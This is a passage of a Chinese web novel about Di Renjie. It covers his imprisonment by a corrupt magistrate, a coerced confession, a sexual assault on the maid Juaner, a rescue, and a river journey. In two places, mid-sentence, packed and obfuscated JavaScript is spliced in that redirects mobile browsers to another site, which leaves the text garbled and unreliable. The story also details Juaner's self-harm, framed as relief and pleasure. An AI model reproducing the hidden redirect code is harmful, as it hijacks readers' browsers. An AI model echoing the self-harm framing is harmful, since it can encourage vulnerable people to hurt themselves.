胡乐听了更加大怒了起来,大喊大叫说:“老爷就是因为没有我难受所以才没叫的!老爷都没有说我,你他妈的算个什么东西!啊!你倒来教训我啊!我就他妈的叫啦!你怎么着啊!啊!你在另一边儿不服来打我呀!啊!啊!你来打我呀!” 韩忠义怒气冲天,猛敲石壁。 胡乐哈哈大笑道:“来呀韩忠义,你他妈的来打我呀!来呀!你来打我呀!” 韩忠义哼的一声,道:“信不信我杀了你!” 胡乐哈哈大笑道:“你还想杀我?谁先被杀还说不定呢!那姓魏的看你武功高,把你先搁在另一边儿,到时候说不定也先杀了你!” 韩忠义道:“姓魏的他能杀得了我?我告诉你,到时候我一出来,我第一个还真就不杀他,先去杀了你!” 胡乐笑道:“到时候出来?到时候出……”不觉哽咽道:“也不知要驴年马月才能出得来呢……”说着,放声大哭。 韩忠义哈哈大笑道:“哭!哭!继续哭!越哭越渴!哈哈哈!” 胡乐又气又恨,只是乱骂韩忠义。 韩忠义道:“你慢慢儿骂,我渴得很,懒得跟你废话。” 胡乐又骂了一阵,才渐渐止住了。 这时,几人听见声响,原来是石门开了,伴随着一阵笑声,一个人走了进来。 狄仁杰几人不看也知道,这人便是魏县令。 胡乐到铁门窗前大骂:“姓魏的!你个狗王八蛋!你还不快放老爷们儿出去!” 韩忠义也骂:“姓魏的!老子出去以后首先撕开你虚伪的假面,让整个阳绵县都看看你的真实面目!” 魏县令冷冷地道:“出去?那也得看你们听不听话。” 狄仁杰道:“你想怎么样?” 魏县令缓缓道:“其实很简单。你狄仁杰,还有你韩忠义,你们二人只须亲手写一张认罪供词,然后再画押,一切就了了。” 狄仁杰道:“认什么罪?” 魏县令道:“啊,不过是通缉令上的话,你们亲手写一遍。” 韩忠义哈哈大笑,又喝道:“做你娘的春梦!我们根本没犯的罪,凭什么要写?” 魏县令冷笑道:“凭什么?就凭尔等落入了我的手中,就不得不听我的。” 狄仁杰道:“你要供词做什么?” 胡乐道:“这还用问,不就是要那百两黄金赏银!横竖不是为升官就是为发财!” 韩忠义坦然道:“姓魏的!我连死都不怕,要我韩忠义承认自己未犯过的罪,连门儿都没有!” 魏县令道:“那狄仁杰,还有那俩小子三条命呢?” 狄仁杰道:“死有何惧。” 狄宁道:“能与狄老爷、韩将军死在一处也值了。” 胡乐犹豫了一下,随即大声道:“他妈的!死就死了嘛!只是死在你个狗王八蛋手里,可惜了点儿!” 韩忠义赞道:“好!胡乐,这时候倒像是一条汉子!” 魏县令一脸不屑,哼了一声,道:“想死?没那么容易。再给你们一次机会,写还是不写?” 韩忠义道:“你还能怎地?无非就是对我们严刑拷打。好,你有种的就来对付老子我,别动大人他们!” 胡乐、狄宁听了感动,也大叫:“动我们!别动老爷!” 魏县令哼哼冷笑,道:“放心,我是不会动你们的。你们几个小崽子要是死了,谁来写供词啊?” 说着,拍掌叫道:“把她带进来!” 狄仁杰几人朝石门口一看,只见走进几人,便是这日清晨被魏县令大骂的那几个官兵,推着一个女子入来。 狄仁杰几人齐声叫道:“鹃儿!” 鹃儿抬起头,忙叫:“狄老爷!你们千万不能写供词啊!我听到了他们说,他们要拿你们的供词到京中来找人来抓你们!” 韩忠义望着魏县令哼了一声,道:“即使我们写了供词,到时候京中人一来,我们再翻供,只说是你行刑逼迫,我们不得已而写之,你又待怎地?” 魏县令道:“我怎么做就无须你们费心了。这么说,你是愿意写了?” 韩忠义喝道:“你做梦!” 魏县令忽然大笑道:“我知道,你们几个骨头硬,奈何不了你们!可是……她呢?” 韩忠义怒道:“你要是敢动鹃儿姑娘一根头发,我……”心想又能如何呢? 魏县令转向几个官兵柔声道:“你们的脸还疼不疼啦?” 官兵齐道:“我们不疼!” 狄仁杰咬牙道:“你们当着百姓演得好一场戏啊。” 魏县令又转向鹃儿,伸手抚摸她的面庞,狞笑道:“唉呀,好一张鲜嫩的小脸蛋儿呀。” 鹃儿头一扭,怒目而视道:“你脏手别碰我!” 胡乐怒叫:“你别碰鹃妹妹!” 魏县令哈哈大笑,看着狄仁杰他们笑道:“你们敢不听我的?兄弟们见到这样可爱的一个小姑娘,会怎样呢?”说着向官兵点了点头。 官兵们登时猥亵地笑将起来,一齐动手去非礼鹃儿。 她又哭又喊,虽想使劲挣脱开来,无奈力气终不如一群男子,只得任由他们摆布。 狄仁杰几人怒极,都拼命大骂:“你们一群畜生!卑鄙无耻下流!” 魏县令哈哈大笑道:“你们就真的忍心看着一个黄花闺女儿……” 狄仁杰指着怒喝:“你给我住手!写就写!” 魏县令一个手势止住官兵,望着狄仁杰道:“愿意写啦?” 韩忠义道:“一张破纸说明个屁!我们写!” 狄仁杰道:“写完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051969|194817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以后,你们不许再动鹃儿。” 魏县令瞪眼道:“唉呀我的狄大人哪,你老一个阶下囚,也配谈条件哪?兄弟们……” 狄仁杰忙叫:“别乱来!” 魏县令哼了一声,道:“墙角就有纸笔。” 狄仁杰、韩忠义在稻草堆里翻了翻,果然寻见了纸笔。 韩忠义道:“没墨水儿怎么写?” 魏县令道:“自己用血写。” 胡乐怒道:“你他妈的欺人太甚啦!” 魏县令道:“到底写不写?” 狄仁杰、韩忠义只得将手指咬破,用笔沾着鲜血写。 胡乐、狄宁也将自己手指头咬破,与狄仁杰血。 一时写毕,再用指头画了押,将纸叠好。 魏县令叫他们将纸从铁窗口丢出。 官兵遂俯身捡了起来,递与魏县令。 他看了看,当场将两张纸撕碎。 韩忠义大怒道:“你他妈做什么!” 魏县令道:“言辞太过勉强了,倒像是我逼你们似的。” 韩忠义道:“你还好意思说!就是你逼我们的!” 魏县令道:“纸有好几张呢,再写。” 胡乐叫道:“写个屁写!又不给咱墨水儿,血都他奶奶的流干了!” 魏县令冷笑道:“知道为什么要你们用血写吗?用血来写是真诚与决心的表现。如今你们用自己的鲜血尚且不认真,更何况用墨水呢。” 胡乐骂道:“洒你的狗血去吧!” 魏县令怒道:“快写!再不写,你们看看她什么下场!” 几人无法,只得又写。 狄仁杰因失血过多,感到胸口发闷,脑袋沉重,几欲昏厥。 胡乐道:“老爷快死啦!” 狄宁道:“不要胡说!” 韩忠义道:“大人!大人怎么样了!” 狄仁杰手按胸口咳了几声,摆手道:“我没事。” 一时写罢,画了押,又折好丢出窗口。 魏县令看了,道:“这还差不多。哈哈哈,你们几个朝廷逆犯,终于承认罪行啦。” 韩忠义哼了一声,道:“承认个屁!物证不如人证,只要我们一出来,你个伪君子就立不住脚了!” 魏县令将两张纸收了起来。 狄仁杰道:“魏县令,我求你不要再为难鹃儿了。这一切皆因狄某而起,与她无干哪。” 魏县令“哦”的一声,向官兵们道:“那你们意下如何呢?” 官兵们笑道:“这么俊个妞儿,可惜了的。” 魏县令点头笑道:“嗯,好,那交给你们啦,你们随意。” 官兵们大喜,又动起了手来。 狄仁杰几人又惊又怒,叫道:“你……!你怎能出尔反尔!” 魏县令哈哈大笑道:“我本就不像尔等,是‘正人君子’!我又何尝说过你们写了以后就会放过她了?嗯?哈哈哈哈哈!” 狄仁杰几人怒气冲天,狠敲铁门,骂不绝口。 鹃儿泪眼喊道:“你们是恶人!不会有好报的!” 狄仁杰见那些官兵如同禽兽一般,不觉气得语塞,两眼直瞪,发现自己面对人世间的丑恶竟然如此无能为力,不由得悲愤交集,突然感到胸口一热,一口鲜血直喷了出来,整个人向后倒下,不省人事了。 胡乐、狄宁哭着大叫:“老爷!老爷!你怎么啦!” 胡乐一见到鹃儿被人欺负了,自己差不多就要疯掉了,但什么忙都帮不上,只好一边大哭一边大骂,用头去撞墙、撞门,撞得自己满脸是血,却也于事无补。 韩忠义明知狄仁杰出事了,又见鹃儿即将被辱,自己却丝毫无法,不由得悲恨交集,流下泪来,仰天哭叫:“苍天无眼哪!何以不救助好人!” 这时,忽听得一人喝道:“几个猪狗欺侮一个姑娘,活得不耐烦了!” 说时迟那时快,瞬息之间,一线寒光闪过,几个官兵大叫一声,尽皆毙命。 韩忠义当先认了出来,叫道:“马兄!” 那人正是马肃,一面扶起鹃儿,一面道:“韩将军,是我!马某来迟啦!狄公安好?” 胡乐哭道:“老爷被这姓魏的狗玩意儿给活活气死啦!” 韩忠义道:“马兄!快抓住这姓魏的!” 马肃道:“是!” 魏县令见不妙,早飞也似的从石门口奔出。 马肃方追到门口,石门已闭了,敲了半日,却怎么也打不开。遂忙持剑来到关押狄仁杰几人的铁门前,运起内力,用剑尖开了锁,先救出了狄仁杰、胡乐、狄宁,又连开几道铁门,救出了韩忠义,替他除去了手脚上的铐镣,道:“韩将军,这是你的宝剑。” 韩忠义忙多谢接了,那把“凌云宝剑”。 狄仁杰方醒转,缓缓道:“是……马肃啊,又是你救了我们……” 马肃忙躬身施礼道:“在下马肃,参见狄公。” 狄仁杰微微点头,道:“大恩不言谢,有什么话到时候再慢慢儿说,如今先离开这是非之地要紧。” 见胡乐兀自狠踢那几个官兵的尸体,另外几人好容易才劝住了。 胡乐又下死劲啐了几口,骂了几句,方一齐来到石门口。 在四周乱碰了一番,触及机关,石门开启,有通往上边的石阶。 几人先后上来,只见一团漆黑,正是夜间。 隐约可见,身处之地正是魏府中后花园。 胡乐道:“果然逃跑需要马!” 韩忠义道:“是啊,那我们到马厩去看看。” 马肃忙道:“不用看了,五匹马已经被杀了。” 狄仁杰道:“我们赶紧走。” 六人遂出了魏府,来至大街上,摸黑狂奔。 方到城门处,忽地闪出了无数官兵,举着火把,照得通明,如雷一般齐声叫道:“逆犯狄仁杰一伙,格杀勿论!” 登时乱箭齐发,又一群官兵大喝,朝狄仁杰他们杀将来。 韩忠义、马肃连忙拔出剑,保护狄仁杰几人。 一时击退了官兵,二人使尽全力,将城门推开了一个缝。 官兵见韩忠义、马肃二人武功高强,亦不敢再追。 狄仁杰几人便出了县城,奔了有将及十几里路,来至寻阳江边。 见有许多空舟,几人遂乘坐一艘小船,顺着江水远去…… 24. 第二十四章 痛苦 晓雾迷蒙,朝阳初照。 辽阔的寻阳江上洒满了清晨的日光,水云之间笼罩着一片薄薄的雾霭,四处弥漫着雾气,仿佛江水的表层上升到半空中飘浮,被晨曦透穿,熠熠闪光。江面上荡漾着朝阳,波光粼粼,一阵凉爽清新的微风轻轻地拂过水面,水纹潋滟,泛起了金鳞般闪烁的涟漪。 在耀眼生辉、一望无垠的江面上,悠悠然然地漂泊着一艘木头做的小舟,上面坐着狄仁杰几个人。 他们昨晚刚刚经历了那件恐怖的事情,现在都不再去多想了,也不敢再去多想了,以免痛心。他们主要是可怜鹃儿,因为她才是最大的受害者。她所经历的痛苦,其他几个人最多也只能是同情,替她感到难过,却永远也代替不了她。因为这世上没有真正的感同身受,也没有任何一个人可以代替别人所遭遇的苦难,更没有人有资格,在自己没有遭遇跟别人同样的苦难的情况下,对别人的苦难妄加评价,指指点点。 因为没有经历过的人是不会明白的,而且永远也不会明白,什么叫作痛苦。 所以,狄仁杰几个人无论再怎么安慰,也无法代替鹃儿昨晚所遭遇的苦难。 他们也知道,有些惨痛的经历,是永远刻在人的心里,永远也无法抹去的。 鹃儿确实忘不掉。 她已经呆了整整一夜,躲在小船的角落里,抱膝独坐,眼泪直流,浑身发抖,双眼直瞪,面色苍白。 她无论再流多少眼泪,也无法忘掉这种痛苦。 她一想到,昨晚那几张丑陋的面孔,全部围绕在自己的四周,要对自己做下那恶毒的勾当,而自己软弱瘦小的肢体,在面对侵犯时所做出的最后的挣扎,那种无力感,那种绝望感,那种悲哀,那种愤怒,那种无可奈何,她就要疯掉了! 狄仁杰几个人一个晚上都在安慰她,可中间几个人累得还是打了个盹。就在这段时间里,鹃儿忍不住发出了一阵奇怪的笑,虽然她一直在流泪,眼睛也一直是湿润的,但那不是悲哀的笑,倒更像是癫狂的笑。这种笑非常地神经质,非常地迅速,而且她几乎是没出声的,只是真的忍不住了,所以她就偷偷地笑,偷偷地笑了一阵,脸上还依然挂着微笑,笑得很甜,很开心。而狄仁杰几个人睡着了,也没发现。 她在极端的痛苦中,双手使劲地揪着头发,使劲地拔,使劲地抓,头上的疼痛感能够稍微减轻一些她内心的痛。她一边扯着自己的长发,一边脸上还是露着笑容,而且笑得咬牙切齿,神态还有一点恶毒,但也感到非常地快乐。 她偶尔也用自己两个小小的拳头,使劲地敲打着自己的脑袋,感受着那种碰撞造成的疼痛感,她越使劲敲打,脑袋就越疼,她也就越快乐。她还开始了用指甲掐自己的肉,甚至都掐出血了。她又痛苦,又快乐,使劲喘着气,想哭又想笑。突然忍不住想哭了时候,她就一巴掌抽打在自己的脸上,她会很快乐。如果一巴掌不够,那就再来几个巴掌,左右开弓,两边脸一块抽。她当然是在狄仁杰几个人没注意的情况下,偷偷做的。 她突然发现,虐待自己可以排解痛苦。用自己身体上所受的痛苦,来代替心灵里面的痛苦,多好啊!她从此痛并快乐着,每当身边的这几个人不注意的时候,就在暗中虐待自己的身体,来排解心灵的痛苦。 昨晚那几张面孔,在她的脑海中挥之不去,她越让自己不去想,就越是会不由自主地想到他们。 她开始对男人又恨又怕了。 但她不知道为什么,就是对狄仁杰几个人,恨不起来,也怕不起来。 好像这世上的好人和坏人,都是不分男女的。 她于是时常说服自己,要爱生活,要爱世人,就像大家一直都说的一样。 她虽然痛苦,还是试图去发现人世间的美好,比如美好的人,美好的风景,美好的记忆,美好的一切。 她并不放弃对于美好的追求,所以她笑得比以前更多了,而且是真诚地去欢笑,而不是强颜欢笑。 有时候她虐待完自己,又有点后悔,觉得别人的错,为什么最后要自己去替他们承担?为什么明明是自己受到了伤害,却要自己去惩罚自己?她自己也想不明白,为什么自己总是受到伤害。 从小时候起,因为贫穷,被邻居街坊们欺负,被同龄的孩子们欺负,被一些大人们欺负,到后来,来到了彭府以后,又被那些丫鬟们欺负,被那些姨奶奶们欺负,被那个彭大人欺负,而现在,街上随便走两步路,都有一些素不相识的路人来欺负人…… 虽然如此,她还是对人生满怀希望,觉得有一天,一切都会变得更好。 她相信,自己能够等到美好,等到幸福,等到阳光灿烂的那一天。 几人又回想起了昨夜身处牢狱之中时的痛苦,各皆心有余悸。 鹃儿浑身颤抖,眼泪又掉了下来,几人都忙劝慰。 韩忠义切齿道:“我到时候定要手刃了这姓魏的狗贼!” 狄仁杰叹了口气,道:“人心之恶,难以测量。” 马肃道:“都怪我,昨日倒放跑了他。” 韩忠义道:“你别这么说,这怎么能怪你呢?该当感谢你出手相救才是。” 狄仁杰道:“马肃啊,你是何时醒来的?当时又去哪里了?” 马肃道:“回狄公,我是在入了阳绵县之后,才慢慢清醒的。我昏迷了这许多时,中间都发生了些什么,我那是一点都不记得了。幸亏你们告诉了我,我才想起来,原来我一直昏迷不醒,是因为身中了雪松针的缘故。 “你们说在五湖镇的那天晚上,我居然还把那领头的给打了一掌啊?唉呀,我怎么都不记得了呢?也许那时我虽然迷迷糊糊的,却还是察觉到了狄公有危险,所以就自然而然地出手了。 “直到昨天,我在狄宁兄弟的马背上突然睁开了眼来,那时你们正跟着那姓魏的前往他府上,他还满脸笑容地在给你们作介绍。 “我一见这姓魏的,便知他不怀好意。 “我相信你们也是看了出来的,只是有时当局者迷,甚至没有我这个伏在马背上的局外人看得清楚。 “当然,我那时也不敢十分确定那姓魏的定会来加害于你们,只是觉得他热情的似乎有些过了头了,有点奇怪。 “我于是也就没有当场说破,也没有告诉你们我已经醒了,只继续装睡,静观其变。 “在进了魏府后,我便趁机下马躲了起来,好见机行事。 “现在想来,那姓魏的是只顾算计你们来着,倒将我给忽略了。 “午时左右,他请你们吃饭,我只待在草丛后面窥探。 “可万万没有想到,那竟是一顿鸿门宴哪。 “不久见你们都倒下了,那姓魏的却还在大笑,我就知道你们已经中了他的暗算。 “我本待立即冲了出来就把那姓魏的给干掉,可当时我因怕被发觉,所以离得比较远,又看不清楚实际情况,更不知你们当时只是昏晕了过去,还是已经死去了,因而犹豫了一下,并没有立刻干掉他。 “我见那姓魏的还跟他老管家低声地说了些什么话,也没听太真切。 “这时又走进了几个官兵来,按照那姓魏的吩咐,将你们都抬走了。 “我当时也并不知他们将鹃儿姑娘留了下来,否则我立时就会前来相救,又岂会袖手旁观? “唉,也幸亏后来还来得及时,没让那几个猪狗得逞,真是上天保佑。 “而当时要我对付他们几个也自是轻而易举的事,然我想那姓魏的既下药害你们,准是因为他先认出了你们来。也就是说,这绝对不是偶然,因为他专门就是冲着狄公、韩将军而来的。 “所以我想,这背后或许还存在着更大的阴谋,也未可知啊。 “如果当时你们真的已经死去,那我便是立刻出来打死了他们,也至多不过是出了一口恶气而已。虽然也替你们报了仇,却也于事无补了。 “可如果你们还没有死去,那么我现在出动也只是快一些地救了你们,却无法再得知那姓魏的这么加害你们的真实用意何在。 “所以我想,我还是等关键时刻再出手的好。 “不料就这么一想,那些官兵却早已不知去向。 “我找来找去,却也找不着他们到底哪去了。 “这魏府的后花园就这么大,怎么会就这样凭空消失了呢? “我于是猜想,必是有个什么暗道。 “我正待要细看了时候,忽听得马厩里传来了声响,好像是马的嘶鸣声。 “我想马厩里的那几匹马不正是你们的么?便迅速地赶了来,只见那老管家刚将那五匹马杀了,而他手上拿着的那把剑,我认得便是韩将军的。 “这么一来,我倒放心了。 “因为我想啊,如果你们已经死了,那他又何必要杀马呢?看来你们必是还活着,他怕你们有马好逃跑,于是就把这条路给断了。 “我便悄悄地靠近,偷偷地杀了老管家,将他的尸首埋在了草堆里,把剑夺了来。 “我刚才赶到外边,便见到了那几个官兵从一个地下的通道上了来,其中却并不见你们。 “我想你们必是在底下了,看来还是要及早援救的好,否则迟则生变哪。 “待他们一走远,我就欲出手相救之时,突然便感到了体内一阵寒凉,接着又是脑子晕眩,开始有些神志不清了。 “我想不好,定是体内雪松针的寒毒又发作了。 “我心想不行啊,得再坚持一会儿啊,只一会儿,就一会儿就好,让我先把狄公他们给救了出来。 “我当时呼吸急促,感到天旋地转,胸口还恶心得想吐。 “可我真的没有办法啊,虽极力这么想,却只走出了几步路,便即倒下不省人事了。 “直至晚间,天色都暗了下来,我才渐渐地醒转,发现自己倒在了草丛隐蔽之处,所以才没被他们发现。 “我这时已经知道了暗道的确切位置,便忙赶了过来。 “才一到暗道口,便听得下面传来了女子的哭喊声,还夹杂着乱嚷和大笑。 “我隐约记得狄公身边有跟着一位女子,而且下面好像还有韩将军和胡兄弟的叫声啊! “我知道你们定是出事了,于是连忙下了石梯,一眼便看见几个猪狗官兵竟敢对鹃儿姑娘动手动脚的。 “我当真是怒气填膺,立刻拔出剑来将他们杀光! “至于后来的事,你们也都知道了。” 狄仁杰几人又感激了几句他的救命之恩,马肃忙说这是应该的。 几人又谈起路上之事,马肃叹道:“三大头号通缉犯,我与狄公、韩将军竟占全了。” 狄仁杰问马肃这一切到底是怎么回事。 马肃遂将来龙去脉娓娓道来:“我本是京中御林军徐主帅麾下的一个守城校尉,官职并不显赫。两个月前的一个夜晚,陛下暗中宣我入密室,封我为搜查队队长,命我前往边关查案,又将壁上一把宝剑赐予我作为信物。我与陛下说,我一个小校尉,何以当此重任?陛下她老人家笑了笑,说正是因此,方能掩人耳目,暗中行事。我又问是去查什么案子,她老人家说西北失守,军中定是出了内奸,还有就是军粮未至,半路恐是被劫了。命我以最快时日侦破诸案。我想陛下亲自派遣,那是何等的荣幸。也不推却,谢了恩,便奉密诏领着二百余人的搜查队前往边关。” 狄仁杰问道:“知道你此次行动的,除了陛下,还有没有他人?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051970|194817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 马肃道:“此次查案乃临时决定,除了陛下以外,并无他人知晓。就连搜查队的二百余人,也是出走当日暗中从禁军里挑选出来的。” 狄仁杰“哦”的一声,点点头,道:“你继续说。” 马肃续道:“我们搜查队人多,行不得水路,只在官路上行,却常走偏僻小径,以避人耳目。一日,我们行过林间小道时,树丛里突然跳出了个遍体鳞伤、满身是血的汉子。我见他可怜,忙下马去扶他,见他已奄奄一息,命不长久。他问我:‘你们是不是朝廷派来的人?’我犹豫了片刻,竟不自觉地点了点头。他又问我:‘你们是不是前往边关查案去的?’我一听便大吃一惊,不敢回答。他一面咳血,一面说:‘你们不能去啊!还没到边关,就先到了鬼门关!’我忙问他:‘你这话什么意思?’他用最后一口气断断续续地说了几句话:‘寒刀帮……’” 狄仁杰道:“寒刀帮?” 马肃点头道:“他是这么说的。” 狄仁杰道:“他还说了些什么?” 马肃道:“他还说了一句‘内奸’,还有两个人名。我也没明白他是什么意思。他说了‘内奸’以后,又说了‘徐杰’、‘何璧’。他因身受重伤,说完便气绝了。” 狄仁杰听了皱眉,道:“徐杰当是指禁军的徐主帅,何璧则是吏部何侍郎。这二人皆是朝中重要官员,可相互之间却并无甚瓜葛,与‘寒刀帮’、‘内奸’这两句又有什么关联呢?” 他又问马肃:“说话那人你可知他是谁?他为何要告诉你这些?他又是为何人所害?” 马肃道:“他并未说出他是谁。他将这些告诉我的原因,似乎就是因为我是朝廷派来的缘故。至于他是如何被害,到后来我方知晓,原来就是他口中所说的那‘寒刀帮’将他伤成了这个样子,以致于毙命。” 狄仁杰道:“寒刀帮为何要杀他?” 马肃道:“可能……是因为他得知了什么秘密。” 狄仁杰道:“搜查队被杀,也是与寒刀帮有关?” 马肃点头道:“正是。我脸上的刀伤,便是他们造成的。” 狄仁杰道:“而寒刀帮这么做的原因,又是与方才你说的那人有关?” 马肃叹了口气,道:“正是因他而起。” 狄仁杰“嗯”了一声,道:“你再说说。” 马肃续道:“那受伤之人去了以后,忽然一群蒙面人穿过树林,挡在前面,指着那人道:‘他跟你们说了什么没有?’我指着他们喝道:‘你们大胆!我们是朝廷派来的搜查队,休要挡路!’不料那些歹徒竟二话不说,直接持刀向我们杀来。他们武功又高,还杀了我们个措手不及,顷刻便将二百余人都……” 他顿了一顿,叹了口气,道:“都给杀害了。除了我一个人拼死逃走,其余一个活口也没了。他们人多势众,却也只在我脸上划了几道伤,未能追上我。我于是东奔西窜,到处逃亡。可无论我逃到哪里,总会有人赶来追杀我。我想了想,唯一的原因,就是因为那个人对我说了这几句话,而这几句话是对于那寒刀帮而言至关重要的秘密。他们是想杀人灭口,让得知这个秘密的人不存于世,而我马肃就在无意间听到了这个秘密。 “我知道,此刻回京,没有人会相信我的话,他们都会认为搜查队必是为我所害,就如通缉令上说我通敌什么的,因为也不会有人相信原来朝廷搜查队竟是被一个江湖帮派所灭。如果我不查清真相,我就永远无法为自己的冤屈辩白。 “因此我绝不能立刻回神都,而是来到了五湖镇,因为那里离京城较近,可以引起人们的注意。我为此耗尽了我所有的盘费,大张旗鼓地在镇子里最大的酒楼中举办比武,亮出了陛下赐予我的宝剑,以‘以武会友’为名,为的就是引出杀手们的追杀。我之所以肯下这么大的赌注,冒着生命的危险来暴露自己,就是为了要表示我是无辜的! “是的,杀手们果然来了,可是我没有想到的是,你们也来了。狄公、韩将军,你们竟然也来了!你们也来到了五湖镇,与我出现在了同一个地方,这……这真是我意料之外的喜事啊! “其实我起初并不认识你们,只是闻名,却未曾见面。但我难道还会不知道吗?狄公断案如神,韩将军武功盖世,两位都是当世闻名的大英雄!我知道,只有狄公会相信我,只有他会相信我是无辜的,也只有他,才可以为我伸冤。 “你们既然已经出了京城,我便猜想,或许你们也是奉旨出来查案的。果然,连我们所查之案都一样,只是又多了个搜查队的事。 “唉呀,没想到啊,两个月过去了,我这个前来查案的搜查队队长竟成了被查的对象,呵呵,唉。 “后来的事,你们也都知道了。这就是整个事件的经过,我绝无半句谎言,还望狄公明鉴。”说到后来,不觉泪流满面。 狄仁杰听罢,沉默不语。 韩忠义点头叹道:“唉呀,没想到你还有这样的经历呢。” 胡乐道:“怎么又是寒刀帮啊,这个帮派有病吧?咋地见谁都杀呀,图吗子呢!” 狄仁杰若有所思,轻轻“嗯”了一声,又微微一笑,看着马肃道:“马肃啊,我们多次为你所救,狄某感激不尽。你又愿意相信我,将详情告知,那我自会想办法的,你放心吧。” 马肃哽咽道:“狄公这是……愿意相信我是无辜的?” 狄仁杰微笑道:“你我是同病相怜,是列在一起的头号通缉犯。况且你多次舍命相救……” 马肃连忙双膝跪下道:“狄公快休再提了!从今往后,马某这条贱命就是狄公的,赴汤蹈火,在所不辞!”狄仁杰忙扶起。 这时候,江面上的雾霭已经散去了,清风徐来,水波不兴。 25. 第二十五章 沉沦 天空蔚蓝,艳阳高照。 万顷碧波的江面上,一艘大帆船正朝着狄仁杰一行乘坐的小舟的方向行驶而来,听得上面有叫嚷之声传来,愈来愈近。仔细一看,只见船上有十来个汉子,都是光膀露胸、手握钢刀、凶神恶煞的模样,一看就不像好人。他们把手中明晃晃的钢刀架在了一群少年和老者的脖颈上,正自哈哈大笑,得意之态毕露。 待与小舟靠得近了,韩忠义忽然指着大船上叫道:“喂!你们干吗呢?” 十几号人一瞥眼,见了狄仁杰他们,齐“嘿”的一声。 其中一个叫道:“谁他娘的活得不耐烦了,敢来管爷们儿的事儿!” 韩忠义道:“你们是水匪?” 另一个骂道:“俺们儿是你野爹!” 韩忠义大怒,一跃上了大船。 十几号人倒唬了一跳,都连忙后退了几步,瞬即持刀在前,指着韩忠义道:“好小子,倒有点儿本事。报上名来!” 韩忠义哼了一声,道:“你们好大胆啊,光天化日就敢来劫船?谁是你们头儿?” 其中一人横横地答道:“老子我!” 说话的是一个浑身赘肉、大肚腩、胸口一撮毛、五官摆错位的光头。 再看其余十来个,有的瘦干瘪,有的肥出油,唯一的共同点,就是都长得歪瓜裂枣。 韩忠义指着那光头冷笑道:“你就是他们的头儿?” 一个瘦的指着韩忠义喝道:“龟孙儿!你跟俺们儿大哥说话儿客气点儿!俺们儿大哥便是江湖上赫赫有名的‘蛟龙王’!大哥在水中称霸的时候儿,你小子还没影儿呢!” 一个肥的也指着他道:“大哥的威名儿,你早都听得烂熟了吧?啊?怕不怕?” 胡乐在小舟上插口道:“啥子‘蛟龙王’?饺子聋子王八?没听说过啊。” 问狄宁,狄宁摇头道:“不知道。” 问鹃儿,鹃儿摇头道:“我也不知道。” 问马肃,马肃摇头道:“从没听说过。” 问狄仁杰,狄仁杰道:“实在是孤陋寡闻。” 韩忠义哈哈大笑,那十几号人气得七窍生烟。 那光头叫道:“兄弟们!今儿不干掉了小崽子,老子我在江湖上可白混了这么些年!” 手一挥,十几号人大喝一声,持刀向韩忠义杀来,被他飞脚连踹,一齐倒下“哎哟”叫。 那光头大怒,猛然一跃,双手握刀,砍向韩忠义,被他身子一斜避开,一拳打将来,正中脸上,登时便浮肿了起来,变得比原先更丑了。 那光头怒道:“你小子武功高,老子我打不过!兄弟们,撤!”说着,与十几号人跳进水里,不复见。 方才那一群被挟持的少年和老者齐跪下磕头道:“多谢大侠救命之恩!” 韩忠义忙将他们扶起,问道:“你们是去哪儿的船?到底怎么回事儿啊?” 一个老者道:“我们是去秦州,给那儿的几个老爷送货儿的。没想到半路杀出了这么一群水匪,逼我们将船掉了头。多亏有大侠相救,我们一船人才得以幸免。” 韩忠义几人听了笑道:“我们也是去秦州的。” 那老者“哦”的一声,看了一眼狄仁杰他们,笑道:“正好,那我们一路去吧。” 一个少年人道:“你们小舟不方便,不如都上我们大船上来吧。” 狄仁杰道:“同船就不必了。” 胡乐道:“老爷,咱吃的也不多了,就上他们船吧。” 马肃道:“倘若遇到风暴,我们小舟乘坐那么多人,的确很容易出事。” 大船上那一群人齐道:“你们是我们的救命恩人,我们不会亏待你们的!” 狄仁杰想了想,道:“也罢。” 几人遂皆上了大船,眼看着那小舟独自漂走。 船上诸人由衷感激狄仁杰他们,皆殷勤相待,将瓜果蔬菜等各色美味均摆上,供他们饱食。 诸人与狄仁杰几人谈笑风生,船上一片喜气洋洋。 当夜月色如洗,狄仁杰六人寝于船舱内。 三更左右,胡乐睡得迷迷糊糊,起来小解。 一阵凉风吹来,不觉打了个冷噤。 忽见另一头舱内兀自掌灯,遂蹑手蹑脚走近。 窗纸映着人影,胡乐只待在一旁,心想:“这些人可真有精神,半夜里还不睡觉,听听他们说些啥子。” 只听他们互相之间低声道: “欸,你们认出来了没有?” “嗯,我是认出了。” “谁?” “老的我虽不敢确定,但是今儿赶走水匪的那高个儿,肯定是他。” “韩忠义?” “你是说,他就是通缉令上的那个逆犯韩忠义?” “绝对没错儿。” “何以见得?” “就凭他武功那么高,不是他又会是谁?而且他虽然散着发,模样还是非常容易认得出的。” “这么看,老的就是那个狄仁杰了?” “还有啊,我瞧那头发没散的,倒像是那个马肃?” “这么巧?三个通缉犯都在一块儿?” “嘿,那可是百两黄金赏银啊!” “小点儿声,别让人听见。” “就算是他们吧,毕竟他们出手救了我们,怎么能恩将仇报呢?这样做很没良心的。” “那我问你,你是要良心,还是要黄金?” “那还用问,当然是要黄金。” “良心有什么用?又不能当饭吃。” “对,我们只要黄金,不要什么良心。” “嗯,要黄金。” “要黄金。” “我也要黄金。” 